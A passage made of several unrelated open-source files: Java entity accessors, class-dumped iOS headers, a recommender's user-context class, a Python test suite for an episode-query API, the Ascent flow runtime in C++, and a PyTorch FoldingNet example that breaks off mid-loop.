public String getSyj() {
return syj;
}
public void setSyj(String syj) {
this.syj = syj;
}
@Length(min=0, max=100, message="ly长度必须介于 0 和 100 之间")
public String getLy() {
return ly;
}
public void setLy(String ly) {
this.ly = ly;
}
@Length(min=0, max=100, message="gps长度必须介于 0 和 100 之间")
public String getGps() {
return gps;
}
public void setGps(String gps) {
this.gps = gps;
}
@Length(min=0, max=100, message="gprs长度必须介于 0 和 100 之间")
public String getGprs() {
return gprs;
}
public void setGprs(String gprs) {
this.gprs = gprs;
}
@Length(min=0, max=100, message="gprsclass长度必须介于 0 和 100 之间")
public String getGprsclass() {
return gprsclass;
}
public void setGprsclass(String gprsclass) {
this.gprsclass = gprsclass;
}
@Length(min=0, max=100, message="egprs长度必须介于 0 和 100 之间")
public String getEgprs() {
return egprs;
}
public void setEgprs(String egprs) {
this.egprs = egprs;
}
@Length(min=0, max=100, message="egprsclass长度必须介于 0 和 100 之间")
public String getEgprsclass() {
return egprsclass;
}
public void setEgprsclass(String egprsclass) {
this.egprsclass = egprsclass;
}
@Length(min=0, max=100, message="wapi长度必须介于 0 和 100 之间")
public String getWapi() {
return wapi;
}
public void setWapi(String wapi) {
this.wapi = wapi;
}
@Length(min=0, max=100, message="cmmb长度必须介于 0 和 100 之间")
public String getCmmb() {
return cmmb;
}
public void setCmmb(String cmmb) {
this.cmmb = cmmb;
}
@Length(min=0, max=4000, message="bz长度必须介于 0 和 4000 之间")
public String getBz() {
return bz;
}
public void setBz(String bz) {
this.bz = bz;
}
@Length(min=0, max=100, message="bh长度必须介于 0 和 100 之间")
public String getBh() {
return bh;
}
public void setBh(String bh) {
this.bh = bh;
}
@Length(min=0, max=2000, message="reader长度必须介于 0 和 2000 之间")
public String getReader() {
return reader;
}
public void setReader(String reader) {
this.reader = reader;
}
@Length(min=0, max=2000, message="writer长度必须介于 0 和 2000 之间")
public String getWriter() {
return writer;
}
public void setWriter(String writer) {
this.writer = writer;
}
@Length(min=0, max=100, message="pk1长度必须介于 0 和 100 之间")
public String getPk1() {
return pk1;
}
public void setPk1(String pk1) {
this.pk1 = pk1;
}
} |
lechium/iOS1351Headers | System/Library/Frameworks/AVFoundation.framework/AVMutableAudioMix.h | /*
* This header is generated by classdump-dyld 1.5
* on Friday, April 30, 2021 at 11:35:52 AM Mountain Standard Time
* Operating System: Version 13.5.1 (Build 17F80)
* Image Source: /System/Library/Frameworks/AVFoundation.framework/AVFoundation
* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by <NAME>. Updated by <NAME>.
*/
#import <AVFoundation/AVAudioMix.h>
@class AVMutableAudioMixInternal, NSArray;
@interface AVMutableAudioMix : AVAudioMix {
AVMutableAudioMixInternal* _mutableAudioMix;
}
@property (nonatomic,copy) NSArray * inputParameters;
+(id)audioMix;
-(void)setInputParameters:(NSArray *)arg1 ;
-(NSArray *)inputParameters;
@end
|
swapUniba/HORbot | src/main/java/recommender/contextAware/beans/UserContext.java | package recommender.contextAware.beans;
import ontology.beans.facets.Interest;
import ontology.beans.facets.Ontology;
import settings.HORMessages;
import java.util.*;
/**
* Define User Context class
*
* @author <NAME>
* @version 1.0
*/
public class UserContext {
private boolean week; // True for weekday, false for week-end
private String company; // Friend or Family/boy-girlfriend or associates
private Boolean rested; // True for rested, false for tired
private Boolean mood; // True for good humor, false for bad humor
private Boolean activity; // True for activity done, false for activity not done
private boolean interestsUsed; // True if user wants to use interest loaded from Myrror, else false
private List<String> interests;
private List<String> myrrorData;
/**
* Constructor of context
* @param ontology get from Myrror
*/
public UserContext(Ontology ontology) {
this.myrrorData = new ArrayList<>();
Calendar calendar = Calendar.getInstance();
calendar.setTime(new Date());
this.week = ((calendar.get(Calendar.DAY_OF_WEEK) >= Calendar.MONDAY) &&
(calendar.get(Calendar.DAY_OF_WEEK) <= Calendar.FRIDAY));
if (ontology.getBehaviors().getFromActivity() != null
&& ontology.getBehaviors().getFromActivity().size() > 0) {
this.activity = ontology.getBehaviors()
.getFromActivity()
.get(ontology.getBehaviors().getFromActivity().size() - 1)
.getNameActivity().equals("veryActive");
this.addMyrrorData("Activity=" + this.activity);
}
if (ontology.getAffects() != null
&& ontology.getAffects().size() > 0) {
this.mood = ontology.getAffects()
.get(ontology.getAffects().size() - 1)
.getEmotion().equals("joy")
|| ontology.getAffects()
.get(ontology.getAffects().size() - 1)
.getEmotion().equals("surprise")
|| ontology.getAffects()
.get(ontology.getAffects().size() - 1)
.getEmotion().equals("neutrality");
this.addMyrrorData("Mood=" + this.mood);
}
if (ontology.getPhysicalStates() != null
&& ontology.getPhysicalStates().getSleep() != null
&& ontology.getPhysicalStates().getSleep().size() > 0) {
this.rested = ontology.getPhysicalStates()
.getSleep().get(ontology.getPhysicalStates().getSleep().size() - 1)
.getMinutesAsleep() >= 360; // 6 hours for rested
this.addMyrrorData("Rested=" + this.rested);
}
if (ontology.getInterests().size() > 0) {
this.interests = new ArrayList<>();
this.setPreferencesMapped(ontology.getInterests());
}
}
public UserContext() {
this.myrrorData = new ArrayList<>();
Calendar calendar = Calendar.getInstance();
calendar.setTime(new Date());
this.week = ((calendar.get(Calendar.DAY_OF_WEEK) >= Calendar.MONDAY) &&
(calendar.get(Calendar.DAY_OF_WEEK) <= Calendar.FRIDAY));
}
/**
* Check if todayu is weekday or week-end
* @return boolean flag
*/
public boolean isWeek() {
return week;
}
/**
* Get context company
* @return String representing the user company
*/
public String getCompany() {
return company;
}
/**
* Set context company
* @param company String representing the user company
*/
public void setCompany(String company) {
this.company = company;
}
/**
* Check if the user is rested
* @return boolean flag, true for rested, false for tired
*/
public Boolean isRested() {
return rested;
}
/**
* Set context user rested
* @param rested boolean flag, true for rested, false for tired
*/
public void setRested(boolean rested) {
this.rested = rested;
}
/**
* Check if the user is in a good humor or not
* @return boolean flag, true for good humor, false for bad humor
*/
public Boolean isMood() {
return mood;
}
/**
* Set context user mood
* @param mood boolean flag, true for good humor, false for bad humor
*/
public void setMood(boolean mood) {
this.mood = mood;
}
/**
* Check if the user has done any physical activity
* @return boolean flag, true for activity done, false for activity not done
*/
public Boolean isActivity() {
return activity;
}
/**
* Set context user activity
* @param activity boolean flag, true for activity done, false for activity not done
*/
public void setActivity(boolean activity) {
this.activity = activity;
}
/**
* Check if user wants to use interest loaded from Myrror
* @return boolean flag
*/
public boolean isInterestsUsed() {
return interestsUsed;
}
/**
* Set boolean flag if user wants to use interests loaded from Myrror
* @param interestsUsed boolean flag
*/
public void setInterestsUsed(boolean interestsUsed) {
this.interestsUsed = interestsUsed;
}
/**
* Get Myrror interests mapped with Yelp categories
* @return a list of interests
*/
public Collection<String> getPreferencesMapped() {
return this.interests;
}
/**
* Get Myrror data returned from Myrror after login
* @return a list of String
*/
public List<String> getMyrrorData() {
return myrrorData;
}
@Override
public String toString() {
String company = "Amici".equals(this.company) ? "Sei in compagnia di amici"
: "Famiglia/Fidanzata-o".equals(this.company) ? "Sei in compagnia di Famiglia/Fidanzata-o"
: "Colleghi".equals(this.company) ? "Sei in compagnia di colleghi"
: "Non so con chi sei";
String rested = this.rested == null ? "Non so se sei riposato" : this.rested ? "Sei riposato" : "Non sei riposato";
String mood = this.mood == null ? "Non so di che umore sei" : this.mood ? "Sei di buon umore" : "Non sei di buon umore";
String activity = this.activity == null ? "Non so se hai fatto attività fisica" : this.activity ? "Hai fatto attività fisica" : "Non hai fatto attività fisica";
return "Il tuo contesto risulta: \n" +
" - " + company + "\n" +
" - " + rested + "\n" +
" - " + mood + "\n" +
" - " + activity;
}
/**
* Mapping user Myrror interests with Yelp categories
* @param interests representing user Myrorr interests
*/
private void setPreferencesMapped(List<Interest> interests) {
for (Interest interest : interests) {
for (String activity : HORMessages.TAGS.keySet()) {
if (activity.contains(interest.getValue())) {
this.interests.add(HORMessages.TAGS.get(activity));
}
}
}
}
/**
* Add a label that identify Myrror data returned after login
* @param label representing Myrror facet
*/
private void addMyrrorData(String label) {
this.myrrorData.add(label);
}
}
|
ceekay1991/AliPayForDebug | AliPayForDebug/AliPayForDebug/AlipayWallet_Headers/PLDPlugin4Keyboard.h | //
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by <NAME>.
//
#import "NBPluginBase.h"
#import "PLDInputViewDelegate-Protocol.h"
@class NSString, PLDInputView;
@interface PLDPlugin4Keyboard : NBPluginBase <PLDInputViewDelegate>
{
PLDInputView *_inputView;
NSString *_appId;
}
@property(copy, nonatomic) NSString *appId; // @synthesize appId=_appId;
@property(retain, nonatomic) PLDInputView *inputView; // @synthesize inputView=_inputView;
- (void).cxx_destruct;
- (void)inputViewDidConfirm:(id)arg1;
- (void)inputViewDidInput:(id)arg1;
- (void)inputViewDidComplete:(id)arg1;
- (void)setupInputViewWithParams:(id)arg1;
- (void)addJSApis;
- (void)handleEvent:(id)arg1;
- (void)pluginDidLoad;
- (id)init;
// Remaining properties
@property(readonly, copy) NSString *debugDescription;
@property(readonly, copy) NSString *description;
@property(readonly) unsigned long long hash;
@property(readonly) Class superclass;
@end
|
xuantan/viewfinder | backend/www/test/query_episodes_test.py | <filename>backend/www/test/query_episodes_test.py
#!/usr/bin/env python
#
# Copyright 2012 Viewfinder Inc. All Rights Reserved.
"""Uploads a number of episodes and photos and tests query of
episodes by episode, with limits and start keys.
"""
__author__ = '<EMAIL> (<NAME>)'
import random
import time
from copy import copy
from functools import partial
from viewfinder.backend.base import util
from viewfinder.backend.base.testing import async_test
from viewfinder.backend.db.accounting import Accounting
from viewfinder.backend.db.db_client import DBKey
from viewfinder.backend.db.episode import Episode
from viewfinder.backend.db.follower import Follower
from viewfinder.backend.db.photo import Photo
from viewfinder.backend.db.post import Post
from viewfinder.backend.db.user import User
from viewfinder.backend.db.user_photo import UserPhoto
from viewfinder.backend.db.user_post import UserPost
from viewfinder.backend.db.viewpoint import Viewpoint
from viewfinder.backend.storage.object_store import ObjectStore
from viewfinder.backend.www import json_schema
from viewfinder.backend.www.service import _AddPhotoUrls
from viewfinder.backend.www.test import service_base_test
class QueryEpisodesTestCase(service_base_test.ServiceBaseTestCase):
def testQueryEpisodes(self):
"""Tests various episode queries.
"""
cookie = self._cookies[0]
self._CreateQueryAssets()
self._all_episodes = self._validator.QueryModelObjects(Episode, hash_key=None)
episode_count = len(self._all_episodes)
# Query empty episode list.
self._QueryEpisodes(cookie, self._CreateEpisodeSelection([]))
# Query single episodes, no start or end, no limit.
self._QueryEpisodes(cookie, self._CreateEpisodeSelection([0]))
# Query all episodes, no start or end, no limit.
self._QueryEpisodes(cookie, self._CreateEpisodeSelection(range(episode_count)))
# Query every other episode, no start or end, no limit.
self._QueryEpisodes(cookie, self._CreateEpisodeSelection(range(0, episode_count, 2)))
# Query all episodes, limit of 1.
self._QueryEpisodes(cookie, self._CreateEpisodeSelection(range(episode_count)), photo_limit=1)
# Query all episodes, limit of 3.
self._QueryEpisodes(cookie, self._CreateEpisodeSelection(range(episode_count)), photo_limit=3)
# Query all episodes, limit of 4, fetch-all.
self._QueryEpisodes(cookie, self._CreateEpisodeSelection(range(episode_count)), photo_limit=4,
fetch_all=True)
# Query shallow episodes.
ep_select_list = [{'episode_id': self._all_episodes[0].episode_id},
{'episode_id': self._all_episodes[1].episode_id, 'get_attributes': True},
{'episode_id': self._all_episodes[2].episode_id, 'get_photos': True},
{'episode_id': self._all_episodes[3].episode_id, 'get_photos': False, 'get_attributes': True},
{'episode_id': self._all_episodes[4].episode_id, 'get_photos': False, 'get_attributes': False},
{'episode_id': self._all_episodes[5].episode_id, 'get_photos': True, 'get_attributes': True},
{'episode_id': self._all_episodes[6].episode_id, 'get_photos': True, 'get_attributes': False},
{'episode_id': self._all_episodes[7].episode_id, 'get_photos': False, 'photo_start_key': '-'},
{'episode_id': self._all_episodes[8].episode_id, 'get_photos': True, 'photo_start_key': '-'}]
self._QueryEpisodes(cookie, ep_select_list)
# Query shallow episodes, limit of 1, fetch-all.
self._QueryEpisodes(cookie, ep_select_list, photo_limit=2, fetch_all=True)
# User #3 queries for all episodes, but only episodes he can see should be returned.
self._QueryEpisodes(self._cookies[2], self._CreateEpisodeSelection(range(episode_count)))
# Query for non-existent episode.
self._QueryEpisodes(cookie, [{'episode_id': 'e-unknown'}])
def testPostLabels(self):
"""Ensure that post labels are returned by query_episodes."""
ep_id, ph_ids = self._UploadOneEpisode(self._cookie, 9)
# Hide some of the photos from the user's personal collection.
self._tester.HidePhotos(self._cookie, [(ep_id, ph_ids[::2])])
self._tester.QueryEpisodes(self._cookie, [self._tester.CreateEpisodeSelection(ep_id)])
def testPhotoAccess(self):
"""Shares a subset of photos with another user and ensures that
only that subset can be retrieved. The service_tester is already
doing this, but correct access control is so important that it
justifies redundant testing.
"""
# Upload some photos and share 1/2 of them with user #2.
ep_id, ph_ids = self._UploadOneEpisode(self._cookie, 12)
vp_id, new_ep_ids = self._tester.ShareNew(self._cookie, [(ep_id, ph_ids[::2])],
[self._user2.user_id],
**self._CreateViewpointDict(self._cookie))
# Verify that no episodes are returned from QueryEpisodes against original viewpoint.
response_dict = self._tester.QueryEpisodes(self._cookie2, [self._tester.CreateEpisodeSelection(ep_id)])
self.assertTrue(len(response_dict['episodes']) == 0)
# Verify that subset is returned from QueryEpisodes against new viewpoint.
response_dict = self._tester.QueryEpisodes(self._cookie2, [self._tester.CreateEpisodeSelection(new_ep_ids[0])])
self.assertTrue(len(response_dict['episodes'][0]['photos']) == 6)
def testMissingMD5Attributes(self):
"""Query for photos that are missing the MD5 attributes."""
# Objects are created manually, so no corresponding entries will be found in the real DB.
self._skip_validation_for.append('Accounting')
self._UpdateOrAllocateDBObject(Episode,
episode_id='e1',
user_id=self._user.user_id,
timestamp=time.time(),
parent_ep_id='e2',
publish_timestamp=time.time(),
viewpoint_id=self._user.private_vp_id)
self._UpdateOrAllocateDBObject(Photo,
photo_id='p1',
user_id=self._user.user_id,
aspect_ratio=.75, timestamp=time.time(),
tn_size=5 * 1024,
med_size=40 * 1024,
full_size=150 * 1024,
orig_size=1200 * 1024)
self._UpdateOrAllocateDBObject(Post, episode_id='e1', photo_id='p1')
self._tester.QueryEpisodes(self._cookie, [self._tester.CreateEpisodeSelection('e1')])
def testProspectiveUser(self):
"""Tests that a prospective user only has access to episodes in the cookie viewpoint."""
# Create prospective user and restricted cookie.
self._CreateSimpleTestAssets()
prospective_user, vp_id, ep_id = self._CreateProspectiveUser()
prospective_cookie = self._tester.GetSecureUserCookie(user_id=prospective_user.user_id,
device_id=prospective_user.webapp_dev_id,
user_name=None,
viewpoint_id=vp_id)
# Share again to the prospective user to create a second viewpoint.
vp_id2, ep_ids2 = self._tester.ShareNew(self._cookie,
[(self._episode_id2, self._photo_ids2)],
['Email:<EMAIL>'])
# Create a system viewpoint.
vp_id3, ep_ids3 = self._tester.ShareNew(self._cookie,
[(self._episode_id2, self._photo_ids2)],
['Email:<EMAIL>'])
self._MakeSystemViewpoint(vp_id3)
ep_selection = [self._tester.CreateEpisodeSelection(ep_id),
self._tester.CreateEpisodeSelection(ep_ids2[0]),
self._tester.CreateEpisodeSelection(ep_ids3[0]),
self._tester.CreateEpisodeSelection(self._episode_id)]
response_dict = self._tester.QueryEpisodes(prospective_cookie, ep_selection)
self.assertEqual(len(response_dict['episodes']), 2)
self.assertEqual(response_dict['episodes'][0]['episode_id'], ep_id)
def _CreateEpisodeSelection(self, ep_index_list):
"""Given a list of indexes into self._all_episodes, return a
selection of the indexed episodes that can be passed to
QueryEpisodes.
"""
return [self._tester.CreateEpisodeSelection(self._all_episodes[i].episode_id,
get_attributes=True,
get_photos=True)
for i in ep_index_list]
def _QueryEpisodes(self, cookie, ep_select_list, photo_limit=None, fetch_all=False):
"""Repeatedly invokes the QueryEpisodes service tester.
Sends an episode query request using "request_dict". If "fetch_all"
is true, then queries are repeated in case of limits. Returns when
either there are no more episodes to query, or a single query was made
and "fetch_all" was specified as False.
"""
while True:
response_dict = self._tester.QueryEpisodes(cookie, ep_select_list, photo_limit=photo_limit)
if fetch_all:
response_ep_dict = {ep_dict['episode_id']: ep_dict for ep_dict in response_dict['episodes']}
for ep_select in ep_select_list:
response_ep = response_ep_dict.get(ep_select['episode_id'], None)
if response_ep is None or 'last_key' not in response_ep:
ep_select_list.remove(ep_select)
else:
ep_select['photo_start_key'] = response_ep['last_key']
# If there are no more episodes, then return.
if len(ep_select_list) == 0:
break
else:
break
return response_dict
def _TestQueryEpisodes(tester, user_cookie, request_dict):
"""Called by the ServiceTester in order to test query_episodes
service API call.
"""
validator = tester.validator
cookie_dict = tester.DecodeUserCookie(user_cookie)
user_id = cookie_dict.get('user_id', None)
device_id = cookie_dict.get('device_id', None)
cookie_viewpoint_id = cookie_dict.get('viewpoint_id', None)
# Send query_episodes request.
actual_dict = tester.SendRequest('query_episodes', user_cookie, request_dict)
limit = request_dict.get('photo_limit', None)
expected_dict = {'episodes': []}
for request_ep in request_dict['episodes']:
episode_id = request_ep['episode_id']
expected_ep = validator.GetModelObject(Episode, episode_id, must_exist=False)
if expected_ep is not None:
viewpoint_id = expected_ep.viewpoint_id
expected_vp = validator.GetModelObject(Viewpoint, viewpoint_id)
expected_foll = validator.GetModelObject(Follower, DBKey(user_id, viewpoint_id), must_exist=False)
# If follower can't view, or if there is a non-matching viewpoint in the cookie, then skip the episode.
is_cookie_viewpoint = cookie_viewpoint_id is None or cookie_viewpoint_id == viewpoint_id
can_view_content = is_cookie_viewpoint or expected_vp.IsSystem()
if can_view_content and expected_foll is not None and expected_foll.CanViewContent():
expected_ep_dict = {'episode_id': episode_id}
if request_ep.get('get_attributes', False):
expected_ep_dict.update(expected_ep._asdict())
if request_ep.get('get_photos', False):
photo_dicts, last_key = _CreateExpectedPhotos(validator, user_id, device_id, episode_id, limit=limit,
start_key=request_ep.get('photo_start_key', None))
expected_ep_dict['photos'] = photo_dicts
if last_key is not None:
expected_ep_dict['last_key'] = last_key
expected_dict['episodes'].append(expected_ep_dict)
tester._CompareResponseDicts('query_episodes', user_id, request_dict, expected_dict, actual_dict)
return actual_dict
def _CreateExpectedPhotos(validator, user_id, device_id, episode_id, limit=None, start_key=None):
"""Return a set of photo dicts that contain all the photo metadata for
photos in the episode with id "episode_id".
"""
photo_dicts = []
posts = validator.QueryModelObjects(Post, episode_id, limit=limit, start_key=start_key)
for post in posts:
post_dict = post._asdict()
photo_dict = validator.GetModelObject(Photo, post.photo_id)._asdict()
photo_dict.pop('share_seq', None)
photo_dict.pop('client_data', None)
# Do not return access URLs for posts which have been removed.
if not post.IsRemoved():
obj_store = ObjectStore.GetInstance(ObjectStore.PHOTO)
_AddPhotoUrls(obj_store, photo_dict)
asset_keys = set()
user_photo = validator.GetModelObject(UserPhoto, DBKey(user_id, post.photo_id), must_exist=False)
if user_photo is not None and user_photo.asset_keys:
asset_keys.update(user_photo.asset_keys)
if asset_keys:
photo_dict['asset_keys'] = list(asset_keys)
photo_dicts.append(photo_dict)
post_id = Post.ConstructPostId(episode_id, post.photo_id)
user_post = validator.GetModelObject(UserPost, DBKey(user_id, post_id), must_exist=False)
labels = post.labels.combine()
if user_post is not None:
# Union together post labels and user_post labels.
labels = labels.union(user_post.labels.combine())
if len(labels) > 0:
photo_dict['labels'] = list(labels)
last_key = posts[-1].photo_id if len(posts) > 0 else None
return (photo_dicts, last_key)
|
xuanhuang1/ascent | src/ascent/runtimes/ascent_flow_runtime.cpp | <gh_stars>10-100
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
// Copyright (c) 2015-2019, Lawrence Livermore National Security, LLC.
//
// Produced at the Lawrence Livermore National Laboratory
//
// LLNL-CODE-716457
//
// All rights reserved.
//
// This file is part of Ascent.
//
// For details, see: http://ascent.readthedocs.io/.
//
// Please also read ascent/LICENSE
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the disclaimer below.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the disclaimer (as noted below) in the
// documentation and/or other materials provided with the distribution.
//
// * Neither the name of the LLNS/LLNL nor the names of its contributors may
// be used to endorse or promote products derived from this software without
// specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY,
// LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY
// DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
// IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
//-----------------------------------------------------------------------------
///
/// file: ascent_flow_runtime.cpp
///
//-----------------------------------------------------------------------------
#include "ascent_flow_runtime.hpp"
// standard lib includes
#include <string.h>
//-----------------------------------------------------------------------------
// thirdparty includes
//-----------------------------------------------------------------------------
// conduit includes
#include <conduit_blueprint.hpp>
// mpi related includes
#ifdef ASCENT_MPI_ENABLED
#include <mpi.h>
// -- conduit relay mpi
#include <conduit_relay_mpi.hpp>
#endif
#include <flow.hpp>
#include <ascent_runtime_filters.hpp>
using namespace conduit;
using namespace std;
//-----------------------------------------------------------------------------
// -- begin ascent:: --
//-----------------------------------------------------------------------------
namespace ascent
{
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//
// Creation and Destruction
//
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
FlowRuntime::FlowRuntime()
:Runtime()
{
flow::filters::register_builtin();
ResetInfo();
}
//-----------------------------------------------------------------------------
FlowRuntime::~FlowRuntime()
{
Cleanup();
}
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//
// Main runtime interface methods called by the ascent interface.
//
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
void
FlowRuntime::Initialize(const conduit::Node &options)
{
int rank = 0;
#if ASCENT_MPI_ENABLED
if(!options.has_child("mpi_comm") ||
!options["mpi_comm"].dtype().is_integer())
{
ASCENT_ERROR("Missing Ascent::open options missing MPI communicator (mpi_comm)");
}
flow::Workspace::set_default_mpi_comm(options["mpi_comm"].as_int());
MPI_Comm comm = MPI_Comm_f2c(options["mpi_comm"].to_int());
MPI_Comm_rank(comm,&rank);
#endif
m_runtime_options = options;
// standard flow filters
flow::filters::register_builtin();
// filters for ascent flow runtime.
runtime::filters::register_builtin();
if(options.has_path("web/stream") &&
options["web/stream"].as_string() == "true" &&
rank == 0)
{
if(options.has_path("web/document_root"))
{
m_web_interface.SetDocumentRoot(options["web/document_root"].as_string());
}
m_web_interface.Enable();
}
Node msg;
this->Info(msg["info"]);
ascent::about(msg["about"]);
m_web_interface.PushMessage(msg);
}
//-----------------------------------------------------------------------------
void
FlowRuntime::Info(conduit::Node &out)
{
out.set(m_info);
}
//-----------------------------------------------------------------------------
void
FlowRuntime::Cleanup()
{
}
//-----------------------------------------------------------------------------
void
FlowRuntime::Publish(const conduit::Node &data)
{
// create our own tree, with all data zero copied.
m_data.set_external(data);
}
//-----------------------------------------------------------------------------
void
FlowRuntime::ResetInfo()
{
m_info.reset();
m_info["runtime/type"] = "flow";
m_info["runtime/options"] = m_runtime_options;
}
//-----------------------------------------------------------------------------
void
FlowRuntime::ConnectSource()
{
// note: if the reg entry for data was already added
// the set_external updates everything,
// we don't need to remove and re-add.
if(!w.registry().has_entry("_ascent_input_data"))
{
w.registry().add<Node>("_ascent_input_data",
&m_data);
}
if(!w.graph().has_filter("source"))
{
Node p;
p["entry"] = "_ascent_input_data";
w.graph().add_filter("registry_source","source",p);
}
}
//-----------------------------------------------------------------------------
void
FlowRuntime::Execute(const conduit::Node &actions)
{
ResetInfo();
// make sure we always have our source data
ConnectSource();
// Loop over the actions
for (int i = 0; i < actions.number_of_children(); ++i)
{
const Node &action = actions.child(i);
string action_name = action["action"].as_string();
ASCENT_INFO("Executing " << action_name);
// implement actions
if(action_name == "add_filter")
{
if(action.has_child("params"))
{
w.graph().add_filter(action["type_name"].as_string(),
action["name"].as_string(),
action["params"]);
}
else
{
w.graph().add_filter(action["type_name"].as_string(),
action["name"].as_string());
}
}
else if( action_name == "add_filters")
{
w.graph().add_filters(action["filters"]);
}
else if( action_name == "connect")
{
if(action.has_child("port"))
{
w.graph().connect(action["src"].as_string(),
action["dest"].as_string(),
action["port"].as_string());
}
else
{
// if no port, assume input 0
w.graph().connect(action["src"].as_string(),
action["dest"].as_string(),
0);
}
}
else if( action_name == "add_connections")
{
w.graph().add_connections(action["connections"]);
}
else if( action_name == "add_graph")
{
w.graph().add_graph(action["graph"]);
}
else if( action_name == "load_graph")
{
w.graph().load(action["path"].as_string());
}
else if( action_name == "save_graph")
{
w.graph().save(action["path"].as_string());
}
else if( action_name == "execute")
{
w.info(m_info["flow_graph"]);
w.execute();
w.registry().reset();
Node msg;
this->Info(msg["info"]);
ascent::about(msg["about"]);
m_web_interface.PushMessage(msg);
}
else if( action_name == "reset")
{
w.reset();
}
}
}
//-----------------------------------------------------------------------------
};
//-----------------------------------------------------------------------------
// -- end ascent:: --
//-----------------------------------------------------------------------------
|
zhangmozhe/torch3d | examples/foldingnet/main.py | <reponame>zhangmozhe/torch3d
import tqdm
import argparse
import numpy as np
import torch
import torch.nn as nn
import torch.optim as optim
import torch.utils.data as data
import torch3d
import torch3d.models as models
import torch3d.datasets as dsets
import torch3d.transforms as transforms
from torch3d.nn.utils import _single
from torch3d.nn import ChamferLoss
import pyvista as pv
class Folding3d(nn.Sequential):
def __init__(self, in_channels, out_channels, bias=True):
self.in_channels = in_channels
self.out_channels = _single(out_channels)
self.bias = bias
in_channels = self.in_channels
modules = []
for channels in self.out_channels:
modules.append(nn.Conv1d(in_channels, channels, 1, bias=self.bias))
modules.append(nn.ReLU(True))
in_channels = channels
modules.append(nn.Conv1d(in_channels, 3, 1, bias=self.bias))
super(Folding3d, self).__init__(*modules)
def forward(self, x):
x = super(Folding3d, self).forward(x)
return x
class FoldingNet(nn.Module):
def __init__(self, in_channels):
super(FoldingNet, self).__init__()
xx = np.linspace(-0.3, 0.3, 45, dtype=np.float32)
yy = np.linspace(-0.3, 0.3, 45, dtype=np.float32)
self.grid = np.meshgrid(xx, yy)
self.grid = torch.tensor(self.grid).view(2, -1)
self.grid_size = self.grid.shape[1]
self.mlp1 = nn.Sequential(
nn.Conv1d(in_channels, 64, 1, bias=False),
nn.BatchNorm1d(64),
nn.ReLU(True),
nn.Conv1d(64, 64, 1, bias=False),
nn.BatchNorm1d(64),
nn.ReLU(True),
)
self.mlp2 = nn.Sequential(
nn.Conv1d(64, 128, 1, bias=False),
nn.BatchNorm1d(128),
nn.ReLU(True),
nn.Conv1d(128, 1024, 1, bias=False),
nn.BatchNorm1d(1024),
nn.ReLU(True),
)
self.maxpool = nn.AdaptiveMaxPool1d(1)
self.mlp3 = nn.Sequential(
nn.Linear(1024, 512, bias=False),
nn.BatchNorm1d(512),
nn.ReLU(True),
nn.Linear(512, 512, bias=False),
)
self.fold1 = Folding3d(512 + 2, [512, 512], bias=True)
self.fold2 = Folding3d(512 + 3, [512, 512], bias=True)
def forward(self, x):
batch_size = x.shape[0]
device = x.device
# Encode point cloud into codeword
x = self.mlp1(x)
x = self.mlp2(x)
x = self.maxpool(x).squeeze(2)
x = self.mlp3(x)
# Decode by folding
g = self.grid.to(device)
g = g.unsqueeze(0).repeat(batch_size, 1, 1)
x = x.unsqueeze(2).repeat(1, 1, self.grid_size)
g = torch.cat([x, g], dim=1)
g = self.fold1(g)
x = torch.cat([x, g], dim=1)
x = self.fold2(x)
return x
def main(args):
# ToTensor transform converts numpy point clouds into tensors
transform = transforms.ToTensor()
dataloaders = {
"train": data.DataLoader(
dsets.ShapeNetPart(
args.root,
split="train",
transform=transform,
download=True, # download dataset if needed
),
batch_size=args.batch_size,
num_workers=args.num_workers,
pin_memory=True,
shuffle=True,
),
"test": data.DataLoader(
dsets.ShapeNetPart(
args.root,
split="test", # now we use the test set
transform=transform,
download=False,
),
batch_size=args.batch_size,
num_workers=args.num_workers,
pin_memory=True,
shuffle=False,
),
}
# Create FoldingNet model
model = FoldingNet(args.in_channels).to(args.device)
optimizer = optim.Adam(model.parameters(), args.lr)
criteria = ChamferLoss()
points, _ = next(iter(dataloaders["test"]))
points = points.transpose(2, 1).numpy()
# Here comes the training loop
for epoch in range(args.epochs):
train_epoch(args, epoch, model, dataloaders["train"], optimizer, criteria)
predict = evaluate(args, model, dataloaders["test"])
visualize(points, predict[0])
def train_epoch(args, epoch, model, dataloader, optimizer, criteria):
desc = "Epoch [{:03d}/{:03d}]".format(epoch, args.epochs)
pbar = tqdm.tqdm(total=len(dataloader), desc=desc)
model.train()
for i, (points, _) in enumerate(dataloader):
points = points.to(args.device)
